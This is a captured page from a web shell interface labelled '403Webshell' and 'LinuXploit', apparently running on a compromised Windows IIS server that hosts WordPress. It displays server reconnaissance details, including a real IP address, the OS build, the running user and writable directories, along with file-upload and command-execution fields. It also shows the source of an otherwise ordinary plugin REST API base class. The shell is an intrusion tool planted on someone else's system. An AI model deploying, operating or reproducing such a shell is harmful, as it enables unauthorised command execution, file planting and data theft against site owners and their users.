403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.146
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/6pocketz/wp-content/plugins/angie/modules/plugin-manager/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/6pocketz/wp-content/plugins/angie/modules/plugin-manager/components/base.php
<?php

namespace Angie\Modules\PluginManager\Components;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Base class for Plugin Manager REST API endpoints
 */
abstract class Base {
	/**
	 * REST API namespace
	 *
	 * @var string
	 */
	protected $namespace = 'wp/v2';

	/**
	 * REST API base
	 *
	 * @var string
	 */
	protected $rest_base;

	/**
	 * Constructor
	 */
	public function __construct() {
		add_action( 'rest_api_init', [ $this, 'register_routes' ] );
	}

	/**
	 * Check if a user has permission to access the API
	 *
	 * @return bool
	 */
	public function permissions_check() {
		return current_user_can( 'install_plugins' );
	}

	/**
	 * Register REST API routes
	 */
	abstract public function register_routes();
}

Youez - 2016 - github.com/yon3zu
LinuXploit